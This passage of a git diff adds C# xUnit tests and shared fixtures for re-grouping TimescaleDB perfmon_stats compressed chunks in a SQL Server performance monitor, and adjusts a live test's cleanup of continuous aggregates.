+               Policies removed immediately - see EnsureAggregatesWithoutPoliciesAsync.
+
+               The clamp is this test's own arrangement, not a property of whatever ran before it: an
+               aggregate a sibling test left standing with deep coverage would report query_stats as
+               covered and the clamp would not hold. So every standing aggregate is dropped first and the
+               ensure below builds them empty; the single recent refresh further down is then the only
+               coverage there is. The finally puts the original set back. */
+            await DropStandingCaggsAsync(connection, ct);
             await EnsureAggregatesWithoutPoliciesAsync(connection, ct);
 
             /* The held digest-carrying fact... */
@@ -1782,7 +1806,12 @@ await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup
                 await DeleteServerRowsAsync(cleanup, serverId, cleanupCt);
                 await DeleteDimRowAsync(cleanup, PayloadDimensions.QueryPlanDimTable, referencedDigest, cleanupCt);
                 await DeleteDimRowAsync(cleanup, PayloadDimensions.QueryPlanDimTable, orphanDigest, cleanupCt);
-                await RestoreCaggsAsync(cleanup, preexistingCaggs, cleanupCt);
+                await RestoreCaggsAsync(cleanup, Array.Empty<string>(), cleanupCt);
+                if (preexistingCaggs.Length > 0)
+                {
+                    await EnsureAggregatesWithoutPoliciesAsync(cleanup, cleanupCt);
+                    await RestoreCaggsAsync(cleanup, preexistingCaggs, cleanupCt);
+                }
             });
         }
     }
@@ -1957,6 +1986,13 @@ swallow this replaces made that indistinguishable from success. */
         }
     }
 
+    /// <summary>
+    /// Drops every continuous aggregate standing in <c>collect</c>, verified, so the caller starts from a
+    /// store whose rollups hold no coverage at all. The caller owns putting the original set back.
+    /// </summary>
+    private static async Task DropStandingCaggsAsync(NpgsqlConnection connection, CancellationToken ct)
+        => await new LiveCleanupBatch(connection).DropContinuousAggregatesAsync(await ExistingCaggsAsync(connection, ct), ct);
+
     /// <summary>
     /// Makes the raw tier's rollup coverage reach back over everything raw holds, so the #1784 gate judges a
     /// drop SAFE.
diff --git a/Darling/Darling.Tests/PerfmonCounterTypeRungTests.cs b/Darling/Darling.Tests/PerfmonCounterTypeRungTests.cs
index 0f8ee7c512..a8816ddb71 100644
--- a/Darling/Darling.Tests/PerfmonCounterTypeRungTests.cs
+++ b/Darling/Darling.Tests/PerfmonCounterTypeRungTests.cs
@@ -44,6 +44,7 @@ namespace Darling.Tests;
 /// <c>Lite.Tests/PerfmonStatsCollectorDefinitionTests</c>, and the shaping helper's type rule in
 /// <c>Lite.Tests/DeltaSeriesShapingTests</c> — both run off Windows. What is here is the PostgreSQL side.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class PerfmonCounterTypeRungTests
 {
     private const int RungVersion = 132;
@@ -320,6 +321,7 @@ public void TheComposeCatalog_StatesWhyThereIsNoTypeGuard()
 /// live class because it shares the store.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class PerfmonCounterTypeLivePostgresTests
 {
     private const int ServerId = -132132;
diff --git a/Darling/Darling.Tests/PerfmonRegroupGateTests.cs b/Darling/Darling.Tests/PerfmonRegroupGateTests.cs
new file mode 100644
index 0000000000..951d6f2295
--- /dev/null
+++ b/Darling/Darling.Tests/PerfmonRegroupGateTests.cs
@@ -0,0 +1,137 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5574: the pure gates around the perfmon_stats chunk re-group. The live behaviour (settings change, newest-first
+/// re-group, budget, no-op second pass) needs a TimescaleDB 2.14.1+ store and is the part still to be written as a
+/// live class beside <c>CollectionLogSegmentByLiveTests</c>.
+/// </summary>
+public sealed class PerfmonRegroupGateTests
+{
+    private const string Wanted = "server_id, counter_name";
+
+    [Fact]
+    public void ThePerfmonSegmentBy_IsServerAndCounter_InTheSpellingTheConvergenceReadJoinsWith()
+    {
+        Assert.Equal("server_id, counter_name", TimescaleSupport.PerfmonStatsSegmentBy);
+        Assert.Equal("server_id,counter_name", TimescaleSupport.PerfmonStatsChunkSegmentBy);
+        Assert.Equal(TimescaleSupport.PerfmonStatsSegmentBy, TimescaleSupport.CompressionSegmentByFor("perfmon_stats"));
+        Assert.Equal(TimescaleSupport.PerfmonStatsSegmentBy, TimescaleSupport.CompressionSegmentByFor("collect.perfmon_stats"));
+        Assert.Contains("compress_segmentby = 'server_id, counter_name'", TimescaleSupport.EnableCompressionSql("perfmon_stats"), StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("2.13.1", true, Wanted, false)]
+    [InlineData("2.14.0", false, Wanted, false)]
+    public void TheRegroup_DoesNotRun_BelowTheFloor_OrWithoutThePerChunkView(string version, bool hasView, string segmentBy, bool expectOpen)
+    {
+        var reason = TimescaleSupport.PerfmonRegroupBlockedReason(TimescaleSupport.ParseTimescaleVersion(version), hasView, segmentBy);
+        Assert.Equal(expectOpen, reason is null);
+    }
+
+    [Fact]
+    public void TheRegroup_DoesNotRun_UntilTheHypertableCarriesTheNewGrouping_AndRunsOtherwise()
+    {
+        var version = TimescaleSupport.ParseTimescaleVersion("2.30.1");
+        Assert.NotNull(TimescaleSupport.PerfmonRegroupBlockedReason(version, true, "server_id"));
+        Assert.NotNull(TimescaleSupport.PerfmonRegroupBlockedReason(version, true, null));
+        Assert.Null(TimescaleSupport.PerfmonRegroupBlockedReason(version, true, Wanted));
+
+        /* An unknown version is not a reason: the view test and the segmentby test decide. */
+        Assert.Null(TimescaleSupport.PerfmonRegroupBlockedReason(null, true, Wanted));
+        Assert.NotNull(TimescaleSupport.PerfmonRegroupBlockedReason(null, false, Wanted));
+    }
+
+    [Fact]
+    public void ThePerChunkSettingsView_ArrivedIn2_14_1_NotIn2_14_0()
+    {
+        Assert.Equal(new Version(2, 14, 1), TimescaleSupport.PerChunkCompressionSettingsViewFrom);
+        Assert.True(TimescaleSupport.PerChunkCompressionSettingsViewFrom > TimescaleSupport.CompressionSettingsChangeWithCompressedChunksFrom);
+    }
+
+    /// <summary>The hourly pass must never wait for a rewrite: <c>StartIfIdle</c> returns at once even while the run is
+    /// still opening its connection, a second start while one is in flight does nothing, and a run that fails ends
+    /// without throwing so the next hourly start can try again.</summary>
+    [Fact]
+    public async Task TheDrain_StartsWithoutWaiting_RunsOnce_AndANewRunFollowsAFailedOne()
+    {
+        var release = new TaskCompletionSource<NpgsqlConnection>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var opens = 0;
+        var logger = new CapturingTestLogger();
+        var drain = new PerfmonRegroupDrain(token =>
+        {
+            Interlocked.Increment(ref opens);
+            return new ValueTask<NpgsqlConnection>(release.Task);
+        }, logger);
+
+        Assert.True(drain.StartIfIdle(CancellationToken.None));
+        Assert.False(drain.StartIfIdle(CancellationToken.None));
+
+        release.SetException(new InvalidOperationException("no store"));
+        await drain.Completion!.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken);
+
+        Assert.True(drain.Completion.IsCompletedSuccessfully);
+        Assert.Equal(1, Volatile.Read(ref opens));
+        Assert.Contains(logger.Lines, line => line.StartsWith("Warning:", StringComparison.Ordinal) && line.Contains("no store", StringComparison.Ordinal));
+        Assert.True(drain.StartIfIdle(CancellationToken.None));
+        await drain.Completion.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken);
+        Assert.Equal(2, Volatile.Read(ref opens));
+    }
+
+    /// <summary>The service stopping ends a run that is still opening its connection, quietly.</summary>
+    [Fact]
+    public async Task TheDrain_StopsPromptly_WhenTheServiceStops()
+    {
+        using var stop = new CancellationTokenSource();
+        var logger = new CapturingTestLogger();
+        var drain = new PerfmonRegroupDrain(async token =>
+        {
+            await Task.Delay(Timeout.Infinite, token);
+            throw new InvalidOperationException("unreachable");
+        }, logger);
+
+        Assert.True(drain.StartIfIdle(stop.Token));
+        stop.Cancel();
+        await drain.Completion!.WaitAsync(TimeSpan.FromSeconds(10), TestContext.Current.CancellationToken);
+
+        Assert.True(drain.Completion.IsCompletedSuccessfully);
+        Assert.DoesNotContain(logger.Lines, line => line.StartsWith("Warning:", StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// The wiring, as source text because the pass is an instance method that needs a store: the loop is started from the
+    /// hourly pass only (never the start path), after the convergence list, behind the TimescaleDB flag, and the pass
+    /// does not run the rewrite itself; shutdown joins it.
+    /// </summary>
+    [Fact]
+    public void TheHourlyPass_StartsTheDrain_AfterTheList_BehindTheTimescaleFlag_AndNeverAwaitsTheRewrite()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var passStart = worker.IndexOf("private async Task ConvergeStoreObjectsAsync(", StringComparison.Ordinal);
+        Assert.True(passStart > 0);
+        var pass = worker.Substring(passStart, worker.IndexOf("private PerfmonRegroupDrain? _perfmonRegroupDrain;", passStart, StringComparison.Ordinal) - passStart);
+        var loopEnd = pass.IndexOf("RunStoreObjectConvergenceStepAsync(connection, step, tally, _logger, budget.Token, hourly: true);", StringComparison.Ordinal);
+        var start = pass.IndexOf("StartPerfmonRegroupDrain(cancellationToken);", StringComparison.Ordinal);
+        var gate = pass.IndexOf("if (timescaleAvailable)", loopEnd, StringComparison.Ordinal);
+        Assert.True(loopEnd > 0 && gate > loopEnd && start > gate, "the drain must start after the list, behind the TimescaleDB flag");
+        Assert.DoesNotContain("RegroupPerfmonChunkAsync", pass, StringComparison.Ordinal);
+        Assert.DoesNotContain("await StartPerfmonRegroupDrain", pass, StringComparison.Ordinal);
+        Assert.Equal(1, worker.Split("StartPerfmonRegroupDrain(", StringSplitOptions.None).Length - 2);
+        Assert.DoesNotContain("perfmon chunk re-group", worker, StringComparison.Ordinal);
+        Assert.Contains("_perfmonRegroupDrain?.Completion is { IsCompleted: false }", worker, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/PerfmonRegroupLiveSupport.cs b/Darling/Darling.Tests/PerfmonRegroupLiveSupport.cs
new file mode 100644
index 0000000000..28364660b2
--- /dev/null
+++ b/Darling/Darling.Tests/PerfmonRegroupLiveSupport.cs
@@ -0,0 +1,188 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class holds no test; it is the fixture code that PerfmonRegroupLiveTests and
+   PerfmonRegroupTimingLiveTests share, and every test that uses it mints its own scratch database through
+   ScratchPostgres, so neither class touches the shared store. */
+
+/// <summary>
+/// The scratch-store helpers that the perfmon_stats re-group live tests share (#5574): the old-grouping store builder, the
+/// chunk catalog read, and the held chunk lock. <see cref="PerfmonRegroupLiveTests"/> keeps the tests that judge the
+/// drain's results; <see cref="PerfmonRegroupTimingLiveTests"/> holds the two that judge a time against a limit and so run
+/// in the <c>timing</c> collection.
+/// </summary>
+internal static class PerfmonRegroupLiveSupport
+{
+
+    internal const string OldChunkSegmentBy = "server_id";
+    internal const long IdBase = -495_200_000_000L;
+
+    /// <summary>"Now" for every day the tests seed, name and compare, captured ONCE: a run that crosses midnight UTC between a
+    /// seed and a lookup must not move the day a chunk is looked up by. The database's own clock decides the reach, which has
+    /// days of slack on both sides of the seeded chunks in every test but <c>TheReach_IsClampedToTheRetentionLessADay</c>; that
+    /// one reads the chunks in its reach from <c>now()</c> itself.</summary>
+    internal static readonly DateTime RunStartUtc = DateTime.UtcNow;
+
+    internal sealed record ChunkRow(string Name, bool IsCompressed, string SegmentBy, DateTime Start);
+
+    internal static string RequireLivePostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the perfmon_stats re-group tests (each mints its own scratch database).");
+        return connectionString!;
+    }
+
+    /// <summary>
+    /// perfmon_stats as every build before #5574 left it: a hypertable compressed by <c>server_id</c> alone, five daily
+    /// chunks inside the reach (yesterday back to five days ago) and one 45 days back, all compressed. Skips on a TimescaleDB
+    /// without the per-chunk settings view (before 2.14.1), which these tests read.
+    /// </summary>
+    internal static async Task BuildOldStoreAsync(NpgsqlConnection connection, string connectionString, CancellationToken ct)
+    {
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(connectionString, ct), "TimescaleDB is not available on this cluster.");
+        await ExecAsync(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+        Assert.SkipUnless(
+            await ScalarAsync<bool>(connection, "SELECT to_regclass('timescaledb_information.chunk_compression_settings') IS NOT NULL", ct),
+            "this TimescaleDB has no timescaledb_information.chunk_compression_settings (before 2.14.1).");
+
+        await ExecAsync(connection, TimescaleSupport.CreateHypertableSql(TimescaleSupport.PerfmonStatsTable, "collection_time"), ct);
+        await ExecAsync(connection, "ALTER TABLE perfmon_stats SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id')", ct);
+
+        var today = DateTime.SpecifyKind(RunStartUtc.Date, DateTimeKind.Unspecified);
+        foreach (var daysBack in new[] { 1, 2, 3, 4, 5, 45 })
+        {
+            await SeedDayAsync(connection, today.AddDays(-daysBack), daysBack, ct);
+        }
+
+        var chunks = new List<string>();
+        using (var list = new NpgsqlCommand(
+            "SELECT format('%I.%I', chunk_schema, chunk_name) FROM timescaledb_information.chunks "
+            + "WHERE hypertable_schema = 'collect' AND hypertable_name = 'perfmon_stats' AND NOT is_compressed AND range_end <= now()", connection))
+        await using (var reader = await list.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+            {
+                chunks.Add(reader.GetString(0));
+            }
+        }
+
+        foreach (var chunk in chunks)
+        {
+            await ExecAsync(connection, $"SELECT compress_chunk('{chunk}')", ct);
+        }
+    }
+
+    /// <summary>Two servers, four counters, two instances each, a sample every 30 minutes: 768 rows for the day.</summary>
+    internal static async Task SeedDayAsync(NpgsqlConnection connection, DateTime day, int salt, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            @"INSERT INTO perfmon_stats (collection_id, collection_time, server_id, server_name, object_name, counter_name, instance_name, cntr_value, delta_cntr_value, sample_interval_seconds, cntr_type)
+              SELECT $1 - $3 * 100000 - row_number() OVER (), g.t AT TIME ZONE 'UTC', s.id, 'REGROUP-SRV', 'SQLServer:Test', 'Counter ' || c.n,
+                     CASE WHEN i.i = 0 THEN '' ELSE 'inst' || i.i END,
+                     (extract(epoch FROM g.t)::bigint / 60 + s.id + c.n * 7 + i.i) % 100000, (extract(epoch FROM g.t)::bigint / 60 + c.n) % 50, 60, 65792
+              FROM generate_series($2::timestamp, $2::timestamp + INTERVAL '23 hours 30 minutes', INTERVAL '30 minutes') AS g(t)
+              CROSS JOIN generate_series(1, 2) AS s(id)
+              CROSS JOIN generate_series(1, 4) AS c(n)
+              CROSS JOIN generate_series(0, 1) AS i(i)", connection);
+        command.Parameters.AddWithValue(IdBase);
+        command.Parameters.AddWithValue(day);
+        command.Parameters.AddWithValue(salt);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    internal static async Task<List<ChunkRow>> ReadChunksAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            @"SELECT format('%I.%I', c.chunk_schema, c.chunk_name), c.is_compressed, coalesce(s.segmentby, ''), (c.range_start AT TIME ZONE 'UTC')
+              FROM timescaledb_information.chunks AS c
+              LEFT JOIN timescaledb_information.chunk_compression_settings AS s ON s.chunk = to_regclass(format('%I.%I', c.chunk_schema, c.chunk_name))
+              WHERE c.hypertable_schema = 'collect' AND c.hypertable_name = 'perfmon_stats'
+              ORDER BY c.range_start DESC", connection);
+        var chunks = new List<ChunkRow>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            chunks.Add(new ChunkRow(reader.GetString(0), reader.GetBoolean(1), reader.GetString(2), DateTime.SpecifyKind(reader.GetDateTime(3), DateTimeKind.Utc)));
+        }
+
+        return chunks;
+    }
+
+    internal static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    internal static async Task<T> ScalarAsync<T>(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(sql, connection);
+        var value = await command.ExecuteScalarAsync(ct);
+        return (T)Convert.ChangeType(value!, typeof(T), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    internal static ChunkRow ChunkOfDay(List<ChunkRow> chunks, int daysBack) =>
+        chunks.Single(chunk => chunk.Start.Date == RunStartUtc.Date.AddDays(-daysBack));
+
+    /// <summary>Another session holds ROW EXCLUSIVE on the chunk inside an open transaction, which conflicts with the
+    /// EXCLUSIVE lock both halves of the re-group ask for.</summary>
+    internal static async Task<HeldLock> HoldLockAsync(string connectionString, string chunk, CancellationToken ct)
+    {
+        var holder = new NpgsqlConnection(connectionString);
+        await holder.OpenAsync(ct);
+        await ExecAsync(holder, "BEGIN", ct);
+        await ExecAsync(holder, $"LOCK TABLE {chunk} IN ROW EXCLUSIVE MODE", ct);
+        return new HeldLock(holder);
+    }
+
+    /// <summary>The session that holds a chunk's lock; released by <see cref="ReleaseAsync"/> or, at the latest, when
+    /// the test's scope ends.</summary>
+    internal sealed class HeldLock : IAsyncDisposable
+    {
+        private NpgsqlConnection? _connection;
+
+        public HeldLock(NpgsqlConnection connection) => _connection = connection;
+
+        public async Task ReleaseAsync(CancellationToken ct)
+        {
+            var connection = Interlocked.Exchange(ref _connection, null);
+            if (connection is not null)
+            {
+                await ExecAsync(connection, "ROLLBACK", ct);
+                await connection.DisposeAsync();
+            }
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            var connection = Interlocked.Exchange(ref _connection, null);
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
+        }
+    }
+
+    internal static async Task RequirePerChunkSettingsAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        Assert.SkipUnless(
+            await ScalarAsync<bool>(connection, "SELECT to_regclass('timescaledb_information.chunk_compression_settings') IS NOT NULL", ct),
+            "this TimescaleDB has no timescaledb_information.chunk_compression_settings (before 2.14.1).");
+}
diff --git a/Darling/Darling.Tests/PerfmonRegroupLiveTests.cs b/Darling/Darling.Tests/PerfmonRegroupLiveTests.cs
new file mode 100644
index 0000000000..c566a5e48a
--- /dev/null
+++ b/Darling/Darling.Tests/PerfmonRegroupLiveTests.cs
@@ -0,0 +1,966 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.PerfmonRegroupLiveSupport;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5574: the perfmon_stats re-group loop against a real TimescaleDB store. Each test mints its own scratch database, like
+/// <see cref="CollectionLogSegmentByLiveTests"/>, which this class mirrors. The old store is built with the statements
+/// every build before #5574 ran (create_hypertable, then the enable ALTER with <c>server_id</c> alone), with its chunks
+/// compressed under those settings. The expected groupings are literals on purpose: they pin the value the store ends up
+/// with, so they must not move when the product's constant does.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PerfmonRegroupLiveTests
+{
+    private const string WantedChunkSegmentBy = "server_id,counter_name";
+
+    /// <summary>
+    /// The upgraded store converges: with the hypertable already on the new grouping, the drain re-groups the chunks inside
+    /// the 30-day reach newest first, leaves the chunk outside it alone, changes no row (count and a checksum per counter),
+    /// pauses after every chunk but the last, and a second run is a no-op.
+    /// </summary>
+    [Fact]
+    public async Task AnUpgradedStore_IsReGroupedNewestFirst_KeepsEveryRow_LeavesOutOfReachAlone_AndASecondRunIsANoOp()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+
+        var before = await ReadChunksAsync(connection, ct);
+        Assert.Equal(6, before.Count);
+        Assert.All(before, chunk => Assert.Equal(OldChunkSegmentBy, chunk.SegmentBy));
+        var fingerprint = await FingerprintAsync(connection, ct);
+
+        /* The hypertable still has the old grouping: the gate keeps the drain from writing the old grouping again. */
+        var gated = new CapturingTestLogger();
+        var gatedRun = await RunDetailedBoundedAsync(NewDrain(scratch.ConnectionString, gated, TimeSpan.Zero, new List<TimeSpan>()), 60, ct);
+        Assert.Equal(0, gatedRun.Done);
+        Assert.Equal(PerfmonRegroupRunEnd.Blocked, gatedRun.End);
+        Assert.DoesNotContain(gated.Lines, line => line.Contains("re-grouped perfmon_stats chunk", StringComparison.Ordinal));
+
+        await ExecAsync(connection, TimescaleSupport.EnableCompressionSql(TimescaleSupport.PerfmonStatsTable), ct);
+        var inReachNewestFirst = before.Where(chunk => chunk.Start > RunStartUtc.AddDays(-30)).OrderByDescending(chunk => chunk.Start).Select(chunk => chunk.Name).ToList();
+        Assert.Equal(5, inReachNewestFirst.Count);
+
+        var logger = new CapturingTestLogger();
+        var pauses = new List<TimeSpan>();
+        Assert.Equal(5, await RunBoundedAsync(NewDrain(scratch.ConnectionString, logger, TimeSpan.FromSeconds(90), pauses), 120, ct));
+
+        var after = await ReadChunksAsync(connection, ct);
+        Assert.All(after.Where(chunk => inReachNewestFirst.Contains(chunk.Name)), chunk => Assert.Equal(WantedChunkSegmentBy, chunk.SegmentBy));
+        Assert.Equal(OldChunkSegmentBy, after.Single(chunk => !inReachNewestFirst.Contains(chunk.Name)).SegmentBy);
+        Assert.Equal(inReachNewestFirst, logger.Lines
+            .Select(line => Regex.Match(line, @"re-grouped perfmon_stats chunk (\S+) "))
+            .Where(match => match.Success).Select(match => match.Groups[1].Value).ToList());
+        Assert.Equal(fingerprint, await FingerprintAsync(connection, ct));
+
+        /* Four pauses for five chunks, none after the last, each the floor (a chunk this small takes far less). */
+        Assert.Equal(4, pauses.Count);
+        Assert.All(pauses, pause => Assert.Equal(TimeSpan.FromSeconds(90), pause));
+
+        var second = new CapturingTestLogger();
+        var secondRun = await RunDetailedBoundedAsync(NewDrain(scratch.ConnectionString, second, TimeSpan.Zero, new List<TimeSpan>()), 60, ct);
+        Assert.Equal(0, secondRun.Done);
+        Assert.Equal(PerfmonRegroupRunEnd.NothingLeft, secondRun.End);
+        Assert.DoesNotContain(second.Lines, line => line.StartsWith("Information:", StringComparison.Ordinal));
+        Assert.Equal(after, await ReadChunksAsync(connection, ct));
+    }
+
+    /* ---------------- round 2b: the rest of the behaviours, each with its own store ---------------- */
+
+    /// <summary>
+    /// A fresh store gets the new grouping on its first compressed chunk (#5574): the usual order (migrations first, the
+    /// extension after), converted and given its policy by the product's own two steps, then days of samples, then the
+    /// policy's run. No chunk is ever compressed by <c>server_id</c> alone, so the drain has nothing to do.
+    /// </summary>
+    [Fact]
+    public async Task AFreshStore_CompressesItsFirstChunksWithTheNewGrouping_AndTheDrainHasNothingToDo()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct), "TimescaleDB is not available on this cluster.");
+        await ExecAsync(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+        await RequirePerChunkSettingsAsync(connection, ct);
+
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        await TimescaleSupport.ApplyCompressionPolicyAsync(connection, null, ct);
+        Assert.Equal("server_id, counter_name", await HypertableSegmentByAsync(connection, ct));
+
+        var today = DateTime.SpecifyKind(RunStartUtc.Date, DateTimeKind.Unspecified);
+        /* Three to five days back, not two to four: perfmon_stats compresses after 1 day plus its heavy-table offset hours
+           (TimescaleSupport.CompressAfterFor), so the chunk of two days back is not yet old enough in the first hours after
+           midnight UTC, and the policy rightly leaves it alone. From three days back every chunk is due at any hour. */
+        foreach (var daysBack in new[] { 3, 4, 5 })
+        {
+            await SeedDayAsync(connection, today.AddDays(-daysBack), daysBack, ct);
+        }
+
+        var fingerprint = await FingerprintAsync(connection, ct);
+        await RunPerfmonPolicyAsync(connection, ct);
+
+        var chunks = await ReadChunksAsync(connection, ct);
+        Assert.Equal(3, chunks.Count);
+        Assert.All(chunks, chunk =>
+        {
+            Assert.True(chunk.IsCompressed, chunk.Name + " was not compressed by the policy");
+            Assert.Equal(WantedChunkSegmentBy, chunk.SegmentBy);
+        });
+        Assert.Equal(fingerprint, await FingerprintAsync(connection, ct));
+
+        var logger = new CapturingTestLogger();
+        var run = await RunDetailedBoundedAsync(NewDrain(scratch.ConnectionString, logger, TimeSpan.Zero, new List<TimeSpan>()), 60, ct);
+        Assert.Equal(0, run.Done);
+        Assert.Equal(PerfmonRegroupRunEnd.NothingLeft, run.End);
+        Assert.DoesNotContain(logger.Lines, line => line.StartsWith("Information:", StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// A crash between the two halves (the decompress committed, the compress never ran) leaves a chunk that is
+    /// uncompressed, not broken (#5574). The drain does not see it (it is not compressed, so it is not a candidate) and
+    /// goes on with the others; the compression policy then compresses it with the hypertable's NEW grouping, with every
+    /// row intact. The settings change itself is the product's: the policy step run on the old store.
+    /// </summary>
+    [Fact]
+    public async Task ACrashBetweenTheTwoHalves_LeavesAnUncompressedChunk_ThatThePolicyCompressesWithTheNewGrouping()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        await TimescaleSupport.ApplyCompressionPolicyAsync(connection, null, ct);
+        Assert.Equal("server_id, counter_name", await HypertableSegmentByAsync(connection, ct));
+        var fingerprint = await FingerprintAsync(connection, ct);
+
+        var crashed = ChunkOfDay(await ReadChunksAsync(connection, ct), 3);
+        await ExecAsync(connection, $"SELECT decompress_chunk('{crashed.Name}')", ct);
+
+        /* The drain goes on with the four others and leaves the crashed one alone. */
+        var logger = new CapturingTestLogger();
+        Assert.Equal(4, await RunBoundedAsync(NewDrain(scratch.ConnectionString, logger, TimeSpan.Zero, new List<TimeSpan>()), 120, ct));
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        var afterDrain = await ReadChunksAsync(connection, ct);
+        Assert.False(afterDrain.Single(chunk => chunk.Name == crashed.Name).IsCompressed);
+        Assert.All(afterDrain.Where(chunk => chunk.Name != crashed.Name && chunk.Start > RunStartUtc.AddDays(-30)), chunk => Assert.Equal(WantedChunkSegmentBy, chunk.SegmentBy));
+
+        /* The policy's next run compresses it with the hypertable's grouping. */
+        await RunPerfmonPolicyAsync(connection, ct);
+        var recompressed = (await ReadChunksAsync(connection, ct)).Single(chunk => chunk.Name == crashed.Name);
+        Assert.True(recompressed.IsCompressed);
+        Assert.Equal(WantedChunkSegmentBy, recompressed.SegmentBy);
+        Assert.Equal(fingerprint, await FingerprintAsync(connection, ct));
+    }
+
+    /// <summary>
+    /// The compression policy and the drain compressing the same chunk must not fail the drain (#5574): the policy got there
+    /// first, so the compress half finds the chunk already compressed (<c>if_not_compressed</c>) and reports done, with
+    /// no warning.
+    /// </summary>
+    [Fact]
+    public async Task WhenThePolicyCompressedTheChunkFirst_TheCompressHalfIsDone_NotAnError()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildOldStoreAsync(connection, scratch.ConnectionString, ct);
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        await TimescaleSupport.ApplyCompressionPolicyAsync(connection, null, ct);
+
+        var chunk = ChunkOfDay(await ReadChunksAsync(connection, ct), 3);
+        await ExecAsync(connection, $"SELECT decompress_chunk('{chunk.Name}')", ct);
+        await RunPerfmonPolicyAsync(connection, ct);
+        Assert.True((await ReadChunksAsync(connection, ct)).Single(c => c.Name == chunk.Name).IsCompressed);
+
+        var logger = new CapturingTestLogger();
+        Assert.Equal(TimescaleSupport.PerfmonRegroupChunkResult.Regrouped, await TimescaleSupport.CompressRegroupedChunkAsync(connection, logger, chunk.Name, 3, TimeSpan.Zero, ct));
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        var after = (await ReadChunksAsync(connection, ct)).Single(c => c.Name == chunk.Name);
+        Assert.True(after.IsCompressed);
+        Assert.Equal(WantedChunkSegmentBy, after.SegmentBy);
+    }
+
+    /// <summary>
